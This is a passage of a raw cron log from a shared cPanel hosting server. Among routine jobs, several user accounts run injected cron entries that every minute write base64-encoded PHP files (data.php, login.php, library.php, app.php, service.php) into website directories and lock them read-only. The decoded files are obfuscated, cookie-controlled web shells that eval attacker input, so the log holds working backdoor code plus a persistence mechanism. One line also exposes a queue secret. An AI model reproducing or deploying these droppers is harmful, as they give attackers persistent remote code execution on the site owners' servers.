A9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:05:02 medusa CROND[15011]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 06:05:02 medusa CROND[15022]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 06:05:02 medusa CROND[15017]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 06:05:02 medusa CROND[15027]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Jun  7 06:05:02 medusa CROND[15028]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 06:05:02 medusa CROND[15029]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 06:05:02 medusa CROND[15030]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:05:02 medusa CROND[15031]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 06:05:02 medusa CROND[15024]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 06:05:02 medusa CROND[15034]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 06:05:02 medusa CROND[15032]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 06:05:02 medusa CROND[15036]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:05:02 medusa CROND[15021]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Jun  7 06:05:02 medusa CROND[15048]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 06:05:46 medusa crontab[16573]: (root) BEGIN EDIT (root)
Jun  7 06:06:01 medusa CROND[17035]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 06:06:01 medusa CROND[17036]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 06:06:01 medusa CROND[17037]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 06:06:01 medusa CROND[17038]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 06:06:01 medusa CROND[17039]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:06:01 medusa CROND[17040]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:06:01 medusa CROND[17044]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 06:06:01 medusa CROND[17043]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 06:06:01 medusa CROND[17046]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 06:06:01 medusa CROND[17047]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:06:01 medusa CROND[17050]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 06:06:01 medusa CROND[17051]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:06:01 medusa CROND[17048]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 06:06:01 medusa CROND[17053]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 06:06:01 medusa CROND[17055]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 06:07:01 medusa CROND[18738]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:07:01 medusa CROND[18739]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 06:07:01 medusa CROND[18740]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:07:01 medusa CROND[18742]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 06:07:01 medusa CROND[18743]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 06:07:01 medusa CROND[18744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 06:07:01 medusa CROND[18741]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 06:07:01 medusa CROND[18745]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 06:07:01 medusa CROND[18750]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 06:07:01 medusa CROND[18751]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
